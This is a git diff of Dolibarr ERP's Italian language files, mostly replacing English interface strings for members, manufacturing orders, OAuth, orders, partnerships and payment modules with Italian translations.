Reenable=Riabilitare ExcludeMember=Escludi un membro Exclude=Escludere ConfirmExcludeMember=Sei sicuro di voler escludere questo membro? -ResiliateMember=Terminate a member -ConfirmResiliateMember=Are you sure you want to terminate this member? +ResiliateMember=Cancella un membro +ConfirmResiliateMember=Sei sicuro di voler cancellare questo membro? DeleteMember=Elimina membro ConfirmDeleteMember=Sei sicuro di voler eliminare questo membro (l'eliminazione di un membro eliminerà tutti i suoi contributi)? DeleteSubscription=Cancella adesione ConfirmDeleteSubscription=Sei sicuro di voler eliminare questo contributo? Filehtpasswd=File htpasswd ValidateMember=Convalida un membro -ConfirmValidateMember=Are you sure you want to validate this member? -FollowingLinksArePublic=The following links are open pages not protected by any Dolibarr permission. They are not formatted pages, provided as example to show how to list members database. +ConfirmValidateMember=Sei sicuro di voler convalidare questo membro? +FollowingLinksArePublic=I seguenti collegamenti sono pagine aperte non protette da alcuna autorizzazione di Dolibarr. Non sono pagine formattate, fornite come esempio per mostrare come elencare il database dei membri. PublicMemberList=Elenco pubblico dei membri BlankSubscriptionForm=Modulo di autoregistrazione pubblica -BlankSubscriptionFormDesc=Dolibarr can provide you a public URL/website to allow external visitors to ask to subscribe to the foundation. If an online payment module is enabled, a payment form may also be automatically provided. +BlankSubscriptionFormDesc=Dolibarr può fornirti un URL/sito web pubblico per consentire ai visitatori esterni di chiedere di iscriversi alla fondazione. Se è abilitato un modulo di pagamento online, può essere fornito automaticamente anche un modulo di pagamento. EnablePublicSubscriptionForm=Abilita sito web pubblico con modulo di adesione -ForceMemberType=Force the member type +ForceMemberType=Forza il tipo di membro ExportDataset_member_1=Soci e contributi ImportDataset_member_1=Membri -LastMembersModified=ultimi %s membri modificati -LastSubscriptionsModified=Ultimi contributi %s modificati +LastMembersModified=Ultimi %s membri modificati +LastSubscriptionsModified=Ultimi %s contributi modificati String=Stringa Text=Testo Int=Intero @@ -119,35 +127,35 @@ SubscriptionNotRecorded=Contributo non registrato AddSubscription=Crea contributo ShowSubscription=Mostra contributo # Label of email templates -SendingAnEMailToMember=Sending information email to member -SendingEmailOnAutoSubscription=Sending email on auto registration -SendingEmailOnMemberValidation=Sending email on new member validation -SendingEmailOnNewSubscription=Invio email sul nuovo contributo +SendingAnEMailToMember=Invio di email informativa al membro +SendingEmailOnAutoSubscription=Invio email per la registrazione automatica +SendingEmailOnMemberValidation=Invio di email per la convalida del nuovo membro +SendingEmailOnNewSubscription=Invio email per il nuovo contributo SendingReminderForExpiredSubscription=Invio sollecito contributi scaduti -SendingEmailOnCancelation=Sending email on cancelation +SendingEmailOnCancelation=Invio email in caso di disdetta SendingReminderActionComm=Invio promemoria per evento in agenda # Topic of email templates -YourMembershipRequestWasReceived=Your membership was received. -YourMembershipWasValidated=Your membership was validated +YourMembershipRequestWasReceived=La tua iscrizione è stata ricevuta. +YourMembershipWasValidated=La tua iscrizione è stata convalidata YourSubscriptionWasRecorded=Il tuo nuovo contributo è stato registrato SubscriptionReminderEmail=promemoria del contributo -YourMembershipWasCanceled=Your membership was canceled +YourMembershipWasCanceled=La tua iscrizione è stata cancellata CardContent=Contenuto della scheda membro # Text of email templates -ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      -ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      -ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      -ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      -DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest -DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Content of the notification email received in case of auto-inscription of a guest +ThisIsContentOfYourMembershipRequestWasReceived=Desideriamo informarti che la tua richiesta di adesione è stata ricevuta.

      +ThisIsContentOfYourMembershipWasValidated=Desideriamo informarti che la tua iscrizione è stata convalidata con le seguenti informazioni:

      +ThisIsContentOfYourSubscriptionWasRecorded=Desideriamo informarti che il tuo nuovo abbonamento è stato registrato. Trovi la fattura qui in allegato.

      +ThisIsContentOfSubscriptionReminderEmail=Desideriamo informarti che il tuo abbonamento sta per scadere o è già scaduto (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Speriamo che lo rinnoverai.

      +ThisIsContentOfYourCard=Questo è un riepilogo delle informazioni che abbiamo su di te. Vi preghiamo di contattarci se qualcosa non è corretto.

      +DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Oggetto dell' email di notifica ricevuta in caso di autoiscrizione di un ospite +DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Contenuto dell' email di notifica ricevuta in caso di autoiscrizione di un ospite DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Modello e-mail da utilizzare per inviare e-mail a un membro durante la registrazione automatica dei membri -DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Email template to use to send email to a member on member validation -DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Modello e-mail da utilizzare per inviare e-mail a un membro sulla nuova registrazione del contributo -DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Modello e-mail da utilizzare per inviare promemoria via e-mail quando il contributo sta per scadere -DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Email template to use to send email to a member on member cancelation -DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=Modello e-mail da utilizzare per inviare e-mail a un membro sull'esclusione dei membri -DescADHERENT_MAIL_FROM=Sender Email for automatic emails +DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Modello email da utilizzare per inviare email ad un membro al momento della convalida del membro +DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Modello email da utilizzare per inviare e-mail a un membro sulla nuova registrazione del contributo +DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Modello email da utilizzare per inviare promemoria via e-mail quando il contributo sta per scadere +DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Modello email da utilizzare per inviare email a un membro in caso di cancellazione del membro +DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=Modello email da utilizzare per inviare e-mail a un membro sull'esclusione dei membri +DescADHERENT_MAIL_FROM=Email mittente per email automatiche DescADHERENT_ETIQUETTE_TYPE=Formato etichette DescADHERENT_ETIQUETTE_TEXT=Testo da stampare nel campo indirizzo di un membro DescADHERENT_CARD_TYPE=Tipo di formato della scheda membro @@ -155,20 +163,20 @@ DescADHERENT_CARD_HEADER_TEXT=Testo dell'intestazione della scheda membro DescADHERENT_CARD_TEXT=Testo della scheda membro DescADHERENT_CARD_TEXT_RIGHT=Testo della scheda membro (allineato a destra) DescADHERENT_CARD_FOOTER_TEXT=Testo del footer fondo della scheda membro -ShowTypeCard=Visualizza la scheda dei tipi -HTPasswordExport=Esporta htpassword +ShowTypeCard=Tipo di spettacolo '%s' +HTPasswordExport=Generazione file htpassword NoThirdPartyAssociatedToMember=Nessuna terza parte associata a questo membro MembersAndSubscriptions=Membri e contributi MoreActions=Azioni complementari alla registrazione MoreActionsOnSubscription=Azione complementare suggerita di default in sede di registrazione di un contributo, effettuata anche in automatico al momento del pagamento online di un contributo -MoreActionBankDirect=Create a direct entry on bank account -MoreActionBankViaInvoice=Create an invoice, and a payment on bank account +MoreActionBankDirect=Crea una registrazione diretta sul conto corrente bancario +MoreActionBankViaInvoice=Crea una fattura ed un pagamento sul conto bancario MoreActionInvoiceOnly=Creare una fattura senza pagamento LinkToGeneratedPages=Generazione di biglietti da visita o fogli di indirizzi LinkToGeneratedPagesDesc=Questa schermata permette di generare file PDF contenenti i biglietti da visita di tutti i membri o di un determinato membro. -DocForAllMembersCards=Genera schede per tutti i membri (formato di output impostato: %s) -DocForOneMemberCards=Genera scheda per un membro (formato di output impostato: %s) -DocForLabels=Genera etichette con indirizzi (formato di output impostato: %s) +DocForAllMembersCards=Genera biglietti da visita per tutti i membri +DocForOneMemberCards=Genera biglietti da visita per un particolare membro +DocForLabels=Genera etichette con indirizzo SubscriptionPayment=Pagamento del contributo LastSubscriptionDate=Data dell'ultimo versamento del contributo LastSubscriptionAmount=Importo dell'ultimo contributo @@ -198,26 +206,30 @@ SubscriptionsStatistics=Statistiche dei contributi NbOfSubscriptions=Numero di contributi AmountOfSubscriptions=Importo raccolto dai contributi TurnoverOrBudget=Giro d'affari (aziende) o Budget (fondazione) -DefaultAmount=Importo predefinito del contributo -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Saltate sulla integrato pagina di pagamento online -ByProperties=By nature -MembersStatisticsByProperties=Members statistics by nature +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=L'importo dell'abbonamento è gratuito +CanEditAmountDetail=Il visitatore può scegliere/modificare l'importo del suo contributo indipendentemente dal tipo di membro +AmountIsLowerToMinimumNotice=su un totale dovuto di %s +MEMBER_NEWFORM_PAYONLINE=Dopo la registrazione online, passa automaticamente alla pagina di pagamento online +ByProperties=Per natura +MembersStatisticsByProperties=Statistiche dei membri per natura VATToUseForSubscriptions=Aliquota IVA da utilizzare per i contributi NoVatOnSubscription=Nessuna IVA per i contributi ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Prodotto utilizzato per riga contributi in fattura: %s -NameOrCompany=Name or company +NameOrCompany=Nome o Società SubscriptionRecorded=Contributo registrato -NoEmailSentToMember=No email sent to member -EmailSentToMember=Email sent to member at %s +NoEmailSentToMember=Nessuna email inviata al membro +EmailSentToMember=Email inviata al membro a %s SendReminderForExpiredSubscriptionTitle=Invia promemoria via e-mail per i contributi scaduti SendReminderForExpiredSubscription=Invia promemoria via e-mail ai membri quando il contributo sta per scadere (il parametro è il numero di giorni prima della fine dell'iscrizione per inviare il promemoria. Può essere un elenco di giorni separati da un punto e virgola, ad esempio '10;5;0;-5 ') MembershipPaid=Membership paid for current period (until %s) -YouMayFindYourInvoiceInThisEmail=You may find your invoice attached to this email -XMembersClosed=%s member(s) closed -XExternalUserCreated=%s utenti esterni creati +YouMayFindYourInvoiceInThisEmail=Potresti trovare la tua fattura allegata a questa email +XMembersClosed=%s membro(i) chiusi +XExternalUserCreated=%s utente(i) esterni creati ForceMemberNature=Natura del membro forzato (individuo o società) CreateDolibarrLoginDesc=La creazione di un login utente per i membri consente loro di connettersi all'applicazione. A seconda delle autorizzazioni concesse, potranno, ad esempio, consultare o modificare autonomamente il proprio fascicolo. CreateDolibarrThirdPartyDesc=Una terza parte è la persona giuridica che verrà utilizzata nella fattura se si decide di generare la fattura per ogni contributo. Potrai crearlo in seguito durante il processo di registrazione del contributo. MemberFirstname=Nome del membro MemberLastname=Cognome membro +MemberCodeDesc=Codice Socio, unico per tutti i soci diff --git a/htdocs/langs/it_IT/mrp.lang b/htdocs/langs/it_IT/mrp.lang index e4c1ce36a2a..af47e37688f 100644 --- a/htdocs/langs/it_IT/mrp.lang +++ b/htdocs/langs/it_IT/mrp.lang @@ -11,8 +11,8 @@ Bom=Distinta base BillOfMaterials=Distinta materiali BillOfMaterialsLines=Righe Distinta Materiali BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=Elenco degli ordini di produzione +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Ordini di produzione NewBOM=Nuova distinta base ProductBOMHelp=Prodotto da creare (o smontare) con questa distinta base.
      Nota: i prodotti con la proprietà 'Natura del prodotto' = 'Materia prima' non sono visibili in questo elenco. BOMsNumberingModules=BOM numbering templates @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Sei sicuro di voler clonare la distinta base %s ? ConfirmCloneMo=Vuoi davvero clonare l'ordine di produzione %s? ManufacturingEfficiency=Manufacturing efficiency ConsumptionEfficiency=Efficienza dei consumi +Consumption=Consumption ValueOfMeansLoss=Il valore di 0,95 indica una media di 5%% di perdita durante la produzione o lo smontaggio ValueOfMeansLossForProductProduced=Il valore di 0,95 indica una media di 5%% di perdita del prodotto prodotto DeleteBillOfMaterials=Delete Bill Of Materials @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=Per una quantità da smontare di %s ConfirmValidateMo=Sei sicuro di voler convalidare questo ordine di produzione? ConfirmProductionDesc=Cliccando su '%s' convaliderai il consumo e / o la produzione per le quantità impostate. Ciò aggiornerà anche le azioni e registrerà i movimenti delle scorte. ProductionForRef=Produzione di %s +CancelProductionForRef=Annullamento del decremento delle scorte di prodotto per il prodotto %s +TooltipDeleteAndRevertStockMovement=Elimina riga e ripristina il movimento delle scorte AutoCloseMO=Chiude automaticamente l'ordine di produzione se vengono raggiunte le quantità da consumare e da produrre NoStockChangeOnServices=Nessuna variazione di stock sui servizi ProductQtyToConsumeByMO=Quantità di prodotto ancora da consumare con MO aperto @@ -80,6 +83,7 @@ ProductsToProduce=Prodotti da produrre UnitCost=Costo unitario TotalCost=Costo totale BOMTotalCost=Il costo per produrre questa distinta base in base al costo di ciascuna quantità e prodotto da consumare (utilizzare il prezzo di costo se definito, altrimenti il prezzo medio ponderato se definito, altrimenti il miglior prezzo di acquisto) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=È necessario prima aver avviato la produzione per chiudere un ordine di produzione (vedere la scheda "%s"). Ma puoi annullarlo. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit non può essere utilizzato in una distinta materiali o in un ordine di produzione Workstation=Postazione di lavoro @@ -107,3 +111,10 @@ THMEstimatedHelp=Questa tariffa permette di definire una previsione di costo del BOM=Distinta materiali CollapseBOMHelp=È possibile definire la visualizzazione di default dei dettagli della nomenclatura nella configurazione del modulo BOM MOAndLines=Ordini e linee di produzione +MoChildGenerate=Genera figlio Mo +ParentMo=MO Genitore +MOChild=MO Bambino +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/it_IT/oauth.lang b/htdocs/langs/it_IT/oauth.lang index 70284f51e10..b14c5606f05 100644 --- a/htdocs/langs/it_IT/oauth.lang +++ b/htdocs/langs/it_IT/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=Un token è stato generato e salvato nel database locale NewTokenStored=Token received and saved ToCheckDeleteTokenOnProvider=Click here to check/delete authorization saved by %s OAuth provider TokenDeleted=Token eliminato +GetAccess=Click here to get a token RequestAccess=Clicca qui per richiedere/rinnovare l'accesso e ricevere un nuovo token -DeleteAccess=Click here to delete token +DeleteAccess=Premi qui per eliminare il token UseTheFollowingUrlAsRedirectURI=Usa il seguente indirizzo come Redirect URI quando crei le credenziali sul tuo provider OAuth: ListOfSupportedOauthProviders=Aggiungi i tuoi provider di token OAuth2. Quindi, vai sulla pagina di amministrazione del tuo provider OAuth per creare/ottenere un ID OAuth e un segreto e salvarli qui. Una volta terminato, passa all'altra scheda per generare il tuo token. OAuthSetupForLogin=Pagina per gestire (generare/eliminare) i token OAuth @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=Oauth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Vai a questa pagina per creare o ottenere il tuo ID OAuth e Secret OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID +OAUTH_ID=OAuth Client ID OAUTH_SECRET=OAuth segreto +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=Aggiunto provider OAuth AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Esiste già una voce OAuth per questo provider ed etichetta +URLOfServiceForAuthorization=URL provided by OAuth service for authentication +Scopes=Permissions (Scopes) +ScopeUndefined=Permissions (Scopes) undefined (see previous tab) diff --git a/htdocs/langs/it_IT/orders.lang b/htdocs/langs/it_IT/orders.lang index 1c204996953..003539cd327 100644 --- a/htdocs/langs/it_IT/orders.lang +++ b/htdocs/langs/it_IT/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=Un ordine era già aperto collegato a questa proposta, quindi nessun altro ordine è stato creato automaticamente OrdersArea=Area ordini dei clienti SuppliersOrdersArea=Area ordini d'acquisto OrderCard=Scheda ordine @@ -68,6 +69,8 @@ CreateOrder=Crea ordine RefuseOrder=Rifiuta ordine ApproveOrder=Approva l'ordine Approve2Order=Approva ordine (secondo livello) +UserApproval=Utente per approvazione +UserApproval2=Utente per approvazione (secondo livello) ValidateOrder=Convalida ordine UnvalidateOrder=Invalida ordine DeleteOrder=Elimina ordine @@ -102,6 +105,8 @@ ConfirmCancelOrder=Vuoi davvero annullare questo ordine? ConfirmMakeOrder=Vuoi davvero confermare di aver creato questo ordine su %s? GenerateBill=Genera fattura ClassifyShipped=Classifica come spedito +PassedInShippedStatus=classificato consegnato +YouCantShipThis=Non posso classificare questo. Si prega di controllare i permessi utente DraftOrders=Bozze di ordini DraftSuppliersOrders=Ordini di acquisto in bozza OnProcessOrders=Ordini in lavorazione @@ -122,7 +127,7 @@ FirstApprovalAlreadyDone=Prima approvazione già fatta SecondApprovalAlreadyDone=Seconda approvazione già fatta SupplierOrderReceivedInDolibarr=Ordine fornitore %s ricevuto %s SupplierOrderSubmitedInDolibarr=Ordine di acquisto %s inviato -SupplierOrderClassifiedBilled=Purchase Order %s set billed +SupplierOrderClassifiedBilled=Ordine fornitore %s impostato come fatturato OtherOrders=Altri ordini SupplierOrderValidatedAndApproved=L'ordine del fornitore è convalidato e approvato: %s SupplierOrderValidated=L'ordine del fornitore è convalidato: %s @@ -132,7 +137,7 @@ TypeContact_commande_internal_SHIPPING=Responsabile spedizioni cliente TypeContact_commande_external_BILLING=Contatto fatturazione cliente TypeContact_commande_external_SHIPPING=Contatto spedizioni cliente TypeContact_commande_external_CUSTOMER=Contatto follow-up cliente -TypeContact_order_supplier_internal_SALESREPFOLL=Representative following-up purchase order +TypeContact_order_supplier_internal_SALESREPFOLL=Responsabile ordine fornitore TypeContact_order_supplier_internal_SHIPPING=Responsabile spedizioni fornitore TypeContact_order_supplier_external_BILLING=Contatto fattura fornitore TypeContact_order_supplier_external_SHIPPING=Contatto spedizioni fornitore diff --git a/htdocs/langs/it_IT/partnership.lang b/htdocs/langs/it_IT/partnership.lang index cac42a97758..6bdeb0edcf2 100644 --- a/htdocs/langs/it_IT/partnership.lang +++ b/htdocs/langs/it_IT/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Gestione del partenariato PartnershipDescription=Modulo Gestione del partenariato PartnershipDescriptionLong= Modulo Gestione del partenariato Partnership=Collaborazione +Partnerships=Partnerships AddPartnership=Aggiungi partnership CancelPartnershipForExpiredMembers=Partnership: annulla la partnership di membri con abbonamenti scaduti PartnershipCheckBacklink=Partnership: controlla il backlink di riferimento @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnership: controlla il backlink di riferimento # Menu # NewPartnership=Nuova partnership +NewPartnershipbyWeb= Your partnership was added successfully. ListOfPartnerships=Elenco delle partnership # @@ -42,6 +44,7 @@ PARTNERSHIP_BACKLINKS_TO_CHECK=Backlink da controllare PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Nb di giorni prima della cancellazione dello stato di una partnership quando un abbonamento è scaduto ReferingWebsiteCheck=Verifica del sito web di riferimento ReferingWebsiteCheckDesc=Puoi abilitare una funzione per verificare che i tuoi partner abbiano aggiunto un backlink ai domini del tuo sito web sul proprio sito web. +PublicFormRegistrationPartnerDesc=Dolibarr può fornirti un URL/sito web pubblico per consentire ai visitatori esterni di richiedere di far parte del programma di partnership. # # Object @@ -59,6 +62,12 @@ BacklinkNotFoundOnPartnerWebsite=Backlink non trovato sul sito web del partner ConfirmClosePartnershipAsk=Sei sicuro di voler annullare questa partnership? PartnershipType=Tipo di partenariato PartnershipRefApproved=Approvata la partnership %s +KeywordToCheckInWebsite=Se vuoi verificare che una determinata parola chiave sia presente nel sito web di ciascun partner, definisci questa parola chiave qui +PartnershipDraft=Assegno circolare +PartnershipAccepted=Accettata +PartnershipRefused=Rifiutato +PartnershipCanceled=Annullata +PartnershipManagedFor=I partner sono # # Template Mail @@ -82,11 +91,6 @@ CountLastUrlCheckError=Numero di errori per l'ultimo controllo URL LastCheckBacklink=Data dell'ultimo controllo dell'URL ReasonDeclineOrCancel=Rifiuta la ragione -# -# Status -# -PartnershipDraft=Assegno circolare -PartnershipAccepted=Accettata -PartnershipRefused=Rifiutato -PartnershipCanceled=Annullata -PartnershipManagedFor=I partner sono +NewPartnershipRequest=Nuova richiesta di partnership +NewPartnershipRequestDesc=Questo modulo ti consente di richiedere di far parte di uno dei nostri programmi di partnership. Se hai bisogno di aiuto per compilare questo modulo, contatta via email %s . + diff --git a/htdocs/langs/it_IT/paybox.lang b/htdocs/langs/it_IT/paybox.lang index d5b9c8d5e06..d7d742abd59 100644 --- a/htdocs/langs/it_IT/paybox.lang +++ b/htdocs/langs/it_IT/paybox.lang @@ -2,15 +2,15 @@ PayBoxSetup=Impostazioni modulo Paybox PayBoxDesc=Questo modulo offre pagine per consentire il pagamento su Paybox da parte dei clienti. Questo può essere utilizzato per un pagamento gratuito o per un pagamento su un particolare oggetto Dolibarr (fattura, ordine, ...) FollowingUrlAreAvailableToMakePayments=Puoi utilizzare i seguenti indirizzi per permettere ai clienti di effettuare pagamenti su Dolibarr -PaymentForm=Forma di pagamento -WelcomeOnPaymentPage=Welcome to our online payment service +PaymentForm=Pagamenti Online +WelcomeOnPaymentPage=Benvenuto sulla nostra piattaforma per i pagamenti online ThisScreenAllowsYouToPay=Questa schermata consente di effettuare un pagamento online su %s. ThisIsInformationOnPayment=Informazioni sul pagamento da effettuare ToComplete=Per completare YourEMail=Email per la conferma del pagamento Creditor=Creditore PaymentCode=Codice pagamento -PayBoxDoPayment=Pay with Paybox +PayBoxDoPayment=Paga con Paybox YouWillBeRedirectedOnPayBox=Verrai reindirizzato alla pagina sicura di Paybox per inserire le informazioni della carta di credito. Continue=Successivo SetupPayBoxToHavePaymentCreatedAutomatically=Setup your Paybox with url %s to have payment created automatically when validated by Paybox. diff --git a/htdocs/langs/it_IT/paypal.lang b/htdocs/langs/it_IT/paypal.lang index 001928baab0..bcb1b6e3ae4 100644 --- a/htdocs/langs/it_IT/paypal.lang +++ b/htdocs/langs/it_IT/paypal.lang @@ -1,8 +1,8 @@ # Dolibarr language file - Source file is en_US - paypal PaypalSetup=Impostazioni Paypal PaypalDesc=Questo modulo consente il pagamento da parte dei clienti tramite PayPal . Questo può essere utilizzato per un pagamento ad hoc o per un pagamento relativo ad un oggetto Dolibarr (fattura, ordine, ...) -PaypalOrCBDoPayment=Pay with PayPal (Card or PayPal) -PaypalDoPayment=Pay with PayPal +PaypalOrCBDoPayment=Paga con PayPal (Carta di credito o PayPal) +PaypalDoPayment=Paga con PayPal PAYPAL_API_SANDBOX=Modalità di test/sandbox PAYPAL_API_USER=Nome utente API PAYPAL_API_PASSWORD=Password API @@ -16,7 +16,7 @@ ThisIsTransactionId=L'id di transazione è: %s PAYPAL_ADD_PAYMENT_URL=Include the PayPal payment url when you send a document by email NewOnlinePaymentReceived=Nuovo pagamento online ricevuto NewOnlinePaymentFailed=Nuovo tentativo di pagamento online fallito -ONLINE_PAYMENT_SENDEMAIL=Email address for notifications after each payment attempt (for success and fail) +ONLINE_PAYMENT_SENDEMAIL=Indirizzo email per la notifica dopo il pagamento (sia in caso di successo che di fallimento) ReturnURLAfterPayment=URL di ritorno dopo il pagamento ValidationOfOnlinePaymentFailed=Validazione del pagamento online fallita PaymentSystemConfirmPaymentPageWasCalledButFailed=Payment confirmation page was called by payment system returned an error @@ -29,8 +29,9 @@ ErrorSeverityCode=Error Severity Code OnlinePaymentSystem=Sistema di pagamento online PaypalLiveEnabled=PayPal "live" mode enabled (otherwise test/sandbox mode) PaypalImportPayment=Import PayPal payments -PostActionAfterPayment=Post actions after payments +PostActionAfterPayment=Azioni automatiche eseguite dopo il pagamento ARollbackWasPerformedOnPostActions=A rollback was performed on all Post actions. You must complete post actions manually if they are necessary. ValidationOfPaymentFailed=Validation of payment has failed -CardOwner=Card holder -PayPalBalance=Paypal credit +CardOwner=Nome e cognome sulla carta +PayPalBalance=Credito Paypal +OnlineSubscriptionPaymentLine=Abbonamento online registrato su %s
      Pagato tramite %s
      Indirizzo IP di origine: %s
      ID transazione: %s diff --git a/htdocs/langs/it_IT/productbatch.lang b/htdocs/langs/it_IT/productbatch.lang index 89144d3a587..cf56cc12698 100644 --- a/htdocs/langs/it_IT/productbatch.lang +++ b/htdocs/langs/it_IT/productbatch.lang @@ -17,8 +17,9 @@ printBatch=Lotto/numero di serie: %s printEatby=Consumare entro: %s printSellby=Da vendere entro: %s printQty=Quantità: %d +printPlannedWarehouse=Magazzino: %s AddDispatchBatchLine=Aggiungi una riga per la durata a scaffale -WhenProductBatchModuleOnOptionAreForced=When module Lot/Serial is on, automatic stock decrease is forced to 'Decrease real stocks on shipping validation' and automatic increase mode is forced to 'Increase real stocks on manual dispatching into warehouses' and can't be edited. Other options can be defined as you want. +WhenProductBatchModuleOnOptionAreForced=Quando il modulo Lotti di prodotto è attivo, la modalità di diminuzione delle scorte è forzata al valore "Diminuire le scorte fisiche/reali alla convalida della spedizione" e la modalità di incremento delle scorte è automaticamente forzata al valore "Aumentare le scorte reali alla ricezione manuale nel magazzino, dopo la ricezione della merce dall'ordine fornitore". Tali valori non possono essere modificati. Le altre opzioni possono essere definite come preferisci. ProductDoesNotUseBatchSerial=Questo prodotto non usa lotto/numero di serie ProductLotSetup=Configurazione del modulo lotto/numero di serie ShowCurrentStockOfLot=Mostra la scorta disponibile per la coppia prodotto/lotto diff --git a/htdocs/langs/it_IT/products.lang b/htdocs/langs/it_IT/products.lang index 3672c585d54..5f44768a2ca 100644 --- a/htdocs/langs/it_IT/products.lang +++ b/htdocs/langs/it_IT/products.lang @@ -2,7 +2,7 @@ ProductRef=Rif. prodotto ProductLabel=Etichetta prodotto ProductLabelTranslated=Etichetta del prodotto tradotto -ProductDescription=Product description +ProductDescription=Descrizione prodotto ProductDescriptionTranslated=Descrizione del prodotto tradotto ProductNoteTranslated=Tradotto nota prodotto ProductServiceCard=Scheda Prodotti/servizi @@ -21,12 +21,12 @@ ProductVatMassChange=Modifica di massa dell'IVA ProductVatMassChangeDesc=Questo strumento aggiorna l'aliquota IVA definita su TUTTI i prodotti e servizi! MassBarcodeInit=Inizializzazione di massa dei codici a barre MassBarcodeInitDesc=Questa pagina può essere usata per inizializzare un codice a barre di un oggetto che non ha ancora un codice a barre definito. Controlla prima che il setup del modulo Codici a barre sia completo. -ProductAccountancyBuyCode=Codice contabile (acquisto) -ProductAccountancyBuyIntraCode=Codice contabile (acquisto intracomunitario) -ProductAccountancyBuyExportCode=Codice contabile (importazione acquisti) -ProductAccountancySellCode=Codice contabile (vendita) -ProductAccountancySellIntraCode=Codice contabile (vendita intracomunitaria) -ProductAccountancySellExportCode=Codice contabile (vendita per esportazione) +ProductAccountancyBuyCode=Conto contabile (acquisto) +ProductAccountancyBuyIntraCode=Conto contabile (acquisto intracomunitario) +ProductAccountancyBuyExportCode=Conto contabile (importazione acquisti) +ProductAccountancySellCode=Conto contabile (vendita) +ProductAccountancySellIntraCode=Conto contabile (vendita intracomunitaria) +ProductAccountancySellExportCode=Conto contabile (vendita per esportazione) ProductOrService=Prodotto o servizio ProductsAndServices=Prodotti e Servizi ProductsOrServices=Prodotti o servizi @@ -53,7 +53,7 @@ MenuStocks=Scorte Stocks=Stocks and location (warehouse) of products Movements=Movimenti Sell=Vendi -Buy=Purchase +Buy=Acquisto OnSell=In vendita OnBuy=In acquisto NotOnSell=Non in vendita @@ -71,7 +71,7 @@ UpdateLevelPrices=Aggiorna prezzi per ogni livello AppliedPricesFrom=Valido dal SellingPrice=Prezzo di vendita SellingPriceHT=Prezzo di vendita (al netto delle imposte) -SellingPriceTTC=Prezzo di vendita (inclusa IVA) +SellingPriceTTC=Prezzo di vendita (IVA Inclusa) SellingMinPriceTTC=Prezzo minimo di vendita (tasse incluse) CostPriceDescription=Questo campo del prezzo (tasse escluse) può essere utilizzato per acquisire l'importo medio che questo prodotto costa alla tua azienda. Può essere qualsiasi prezzo che calcoli tu stesso, ad esempio, dal prezzo medio di acquisto più il costo medio di produzione e distribuzione. CostPriceUsage=Questo valore può essere utilizzato per il calcolo del margine. @@ -79,7 +79,7 @@ ManufacturingPrice=Prezzo di produzione SoldAmount=Quantità venduta PurchasedAmount=Quantità acquistata NewPrice=Nuovo prezzo -MinPrice=min. prezzo di vendita +MinPrice=Prezzo di vendita minimo EditSellingPriceLabel=Modifica l'etichetta del prezzo di vendita CantBeLessThanMinPrice=Il prezzo di vendita non può essere inferiore al minimo consentito per questo prodotto ( %s IVA esclusa) ContractStatusClosed=Chiuso @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Vuoi davvero cancellare questa linea di prodotti? ProductSpecial=Prodotto speciale QtyMin=Min. quantità d'acquisto PriceQtyMin=Prezzo quantità min. -PriceQtyMinCurrency=Prezzo per questa quantità min. (senza sconto) (valuta) +PriceQtyMinCurrency=Prezzo (valuta) per questa quantità. +WithoutDiscount=Senza sconto VATRateForSupplierProduct=Aliquota IVA (per questo fornitore / prodotto) DiscountQtyMin=Sconto per questa quantità NoPriceDefinedForThisSupplier=No price/qty defined for this vendor/product @@ -155,7 +156,7 @@ ServiceNb=Servizio # %s 